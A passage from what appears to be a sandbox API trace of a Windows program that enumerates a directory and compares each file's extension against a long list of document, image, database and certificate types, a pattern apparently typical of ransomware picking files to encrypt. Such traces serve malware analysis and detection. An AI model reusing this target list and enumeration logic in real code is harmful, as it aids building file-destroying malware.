lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".odp") returned 4 [0086.033] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0086.033] lstrlenW (lpString=".ods") returned 4 [0086.033] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".oft") returned 4 [0086.034] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".one") returned 4 [0086.034] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".onepkg") returned 7 [0086.034] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0086.034] lstrlenW (lpString=".onetoc2") returned 8 [0086.034] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0086.034] lstrlenW (lpString=".opt") returned 4 [0086.034] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".oqy") returned 4 [0086.034] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".orf") returned 4 [0086.034] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".p12") returned 4 [0086.034] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".p7b") returned 4 [0086.034] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".p7c") returned 4 [0086.034] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".pam") returned 4 [0086.034] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".pbm") returned 4 [0086.034] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0086.034] lstrlenW (lpString=".pct") returned 4 [0086.034] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pcx") returned 4 [0086.035] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pdd") returned 4 [0086.035] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pdf") returned 4 [0086.035] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pdp") returned 4 [0086.035] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pef") returned 4 [0086.035] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pem") returned 4 [0086.035] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pff") returned 4 [0086.035] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pfm") returned 4 [0086.035] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pfx") returned 4 [0086.035] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".pgm") returned 4 [0086.035] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0086.035] lstrlenW (lpString=".php") returned 4 [0086.036] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0086.036] lstrlenW (lpString=".php3") returned 5 [0086.036] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".php4") returned 5 [0086.036] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".php5") returned 5 [0086.036] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".phtml") returned 6 [0086.036] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0086.036] lstrlenW (lpString=".pict") returned 5 [0086.036] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".pl") returned 3 [0086.036] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0086.036] lstrlenW (lpString=".pls") returned 4 [0086.036] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0086.036] lstrlenW (lpString=".pm") returned 3 [0086.036] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0086.036] lstrlenW (lpString=".png") returned 4 [0086.036] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0086.036] lstrlenW (lpString=".pnm") returned 4 [0086.036] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0086.036] lstrlenW (lpString=".pot") returned 4 [0086.036] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0086.036] lstrlenW (lpString=".potm") returned 5 [0086.036] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".potx") returned 5 [0086.036] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0086.036] lstrlenW (lpString=".ppa") returned 4 [0086.037] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".ppam") returned 5 [0086.037] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0086.037] lstrlenW (lpString=".ppm") returned 4 [0086.037] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".pps") returned 4 [0086.037] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".ppsm") returned 5 [0086.037] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0086.037] lstrlenW (lpString=".ppt") returned 4 [0086.037] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".pptm") returned 5 [0086.037] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0086.037] lstrlenW (lpString=".pptx") returned 5 [0086.037] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0086.037] lstrlenW (lpString=".prn") returned 4 [0086.037] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".ps") returned 3 [0086.037] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0086.037] lstrlenW (lpString=".psb") returned 4 [0086.037] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".psd") returned 4 [0086.037] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".pst") returned 4 [0086.037] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".ptx") returned 4 [0086.037] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0086.037] lstrlenW (lpString=".pub") returned 4 [0086.038] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0086.038] lstrlenW (lpString=".pwm") returned 4 [0086.038] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0086.038] lstrlenW (lpString=".pxr") returned 4 [0086.038] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0086.038] lstrlenW (lpString=".py") returned 3 [0086.038] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0086.038] lstrlenW (lpString=".qt") returned 3 [0086.038] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0086.038] lstrlenW (lpString=".r3d") returned 4 [0086.038] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0086.038] lstrlenW (lpString=".raf") returned 4 [0086.038] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0086.038] lstrlenW (lpString=".rar") returned 4 [0086.038] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0086.038] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0086.038] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0086.039] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0086.039] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0086.039] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0086.039] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0086.039] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0086.039] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070") returned 26 [0086.039] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260810 [0086.039] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.039] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0086.039] lstrlenW (lpString="eula.rtf") returned 8 [0086.040] lstrlenW (lpString=".1cd") returned 4 [0086.040] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".3ds") returned 4 [0086.040] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".3fr") returned 4 [0086.040] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".3g2") returned 4 [0086.040] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".3gp") returned 4 [0086.040] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".7z") returned 3 [0086.040] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0086.040] lstrlenW (lpString=".accda") returned 6 [0086.040] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".accdb") returned 6 [0086.040] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".accdc") returned 6 [0086.040] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".accde") returned 6 [0086.040] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".accdt") returned 6 [0086.040] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".accdw") returned 6 [0086.040] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0086.040] lstrlenW (lpString=".adb") returned 4 [0086.040] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0086.040] lstrlenW (lpString=".adp") returned 4 [0086.041] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai") returned 3 [0086.041] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0086.041] lstrlenW (lpString=".ai3") returned 4 [0086.041] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai4") returned 4 [0086.041] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai5") returned 4 [0086.041] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai6") returned 4 [0086.041] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai7") returned 4 [0086.041] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ai8") returned 4 [0086.041] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".anim") returned 5 [0086.041] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0086.041] lstrlenW (lpString=".arw") returned 4 [0086.041] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".as") returned 3 [0086.041] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0086.041] lstrlenW (lpString=".asa") returned 4 [0086.041] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".asc") returned 4 [0086.041] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0086.041] lstrlenW (lpString=".ascx") returned 5 [0086.041] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0086.041] lstrlenW (lpString=".asm") returned 4 [0086.042] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".asmx") returned 5 [0086.042] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0086.042] lstrlenW (lpString=".asp") returned 4 [0086.042] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".aspx") returned 5 [0086.042] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0086.042] lstrlenW (lpString=".asr") returned 4 [0086.042] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".asx") returned 4 [0086.042] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".avi") returned 4 [0086.042] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".avs") returned 4 [0086.042] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".backup") returned 7 [0086.042] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0086.042] lstrlenW (lpString=".bak") returned 4 [0086.042] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".bay") returned 4 [0086.042] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".bd") returned 3 [0086.042] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0086.042] lstrlenW (lpString=".bin") returned 4 [0086.042] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0086.042] lstrlenW (lpString=".bmp") returned 4 [0086.042] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".bz2") returned 4 [0086.043] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".c") returned 2 [0086.043] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0086.043] lstrlenW (lpString=".cdr") returned 4 [0086.043] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".cer") returned 4 [0086.043] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".cf") returned 3 [0086.043] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0086.043] lstrlenW (lpString=".cfc") returned 4 [0086.043] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".cfm") returned 4 [0086.043] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".cfml") returned 5 [0086.043] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0086.043] lstrlenW (lpString=".cfu") returned 4 [0086.043] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".chm") returned 4 [0086.043] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".cin") returned 4 [0086.043] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0086.043] lstrlenW (lpString=".class") returned 6 [0086.043] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0086.043] lstrlenW (lpString=".clx") returned 4 [0086.043] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".config") returned 7 [0086.044] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0086.044] lstrlenW (lpString=".cpp") returned 4 [0086.044] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".cr2") returned 4 [0086.044] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".crt") returned 4 [0086.044] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".crw") returned 4 [0086.044] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".cs") returned 3 [0086.044] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0086.044] lstrlenW (lpString=".css") returned 4 [0086.044] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".csv") returned 4 [0086.044] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".cub") returned 4 [0086.044] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".dae") returned 4 [0086.044] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".dat") returned 4 [0086.044] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".db") returned 3 [0086.044] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0086.044] lstrlenW (lpString=".dbf") returned 4 [0086.044] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0086.044] lstrlenW (lpString=".dbx") returned 4 [0086.044] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dc3") returned 4 [0086.045] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dcm") returned 4 [0086.045] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dcr") returned 4 [0086.045] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".der") returned 4 [0086.045] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dib") returned 4 [0086.045] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dic") returned 4 [0086.045] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".dif") returned 4 [0086.045] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".divx") returned 5 [0086.045] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0086.045] lstrlenW (lpString=".djvu") returned 5 [0086.045] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0086.045] lstrlenW (lpString=".dng") returned 4 [0086.045] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".doc") returned 4 [0086.045] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0086.045] lstrlenW (lpString=".docm") returned 5 [0086.045] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0086.045] lstrlenW (lpString=".docx") returned 5 [0086.045] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0086.045] lstrlenW (lpString=".dot") returned 4 [0086.046] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dotm") returned 5 [0086.046] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0086.046] lstrlenW (lpString=".dotx") returned 5 [0086.046] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0086.046] lstrlenW (lpString=".dpx") returned 4 [0086.046] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dqy") returned 4 [0086.046] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dsn") returned 4 [0086.046] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dt") returned 3 [0086.046] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0086.046] lstrlenW (lpString=".dtd") returned 4 [0086.046] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dwg") returned 4 [0086.046] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dwt") returned 4 [0086.046] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".dx") returned 3 [0086.046] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0086.046] lstrlenW (lpString=".dxf") returned 4 [0086.046] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0086.046] lstrlenW (lpString=".edml") returned 5 [0086.046] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0086.047] lstrlenW (lpString=".efd") returned 4 [0086.047] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".elf") returned 4 [0086.047] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".emf") returned 4 [0086.047] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".emz") returned 4 [0086.047] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".epf") returned 4 [0086.047] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".eps") returned 4 [0086.047] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".epsf") returned 5 [0086.047] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0086.047] lstrlenW (lpString=".epsp") returned 5 [0086.047] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0086.047] lstrlenW (lpString=".erf") returned 4 [0086.047] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".exr") returned 4 [0086.047] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".f4v") returned 4 [0086.047] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0086.047] lstrlenW (lpString=".fido") returned 5 [0086.047] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0086.047] lstrlenW (lpString=".flm") returned 4 [0086.048] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".flv") returned 4 [0086.048] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".frm") returned 4 [0086.048] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".fxg") returned 4 [0086.048] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".geo") returned 4 [0086.048] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".gif") returned 4 [0086.048] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".grs") returned 4 [0086.048] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".gz") returned 3 [0086.048] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0086.048] lstrlenW (lpString=".h") returned 2 [0086.048] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0086.048] lstrlenW (lpString=".hdr") returned 4 [0086.048] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".hpp") returned 4 [0086.048] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".hta") returned 4 [0086.048] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".htc") returned 4 [0086.048] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0086.048] lstrlenW (lpString=".htm") returned 4 [0086.049] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".html") returned 5 [0086.049] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0086.049] lstrlenW (lpString=".icb") returned 4 [0086.049] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".ics") returned 4 [0086.049] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".iff") returned 4 [0086.049] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".inc") returned 4 [0086.049] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".indd") returned 5 [0086.049] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0086.049] lstrlenW (lpString=".ini") returned 4 [0086.049] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".iqy") returned 4 [0086.049] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0086.049] lstrlenW (lpString=".j2c") returned 4 [0086.049] lstrcmpiW 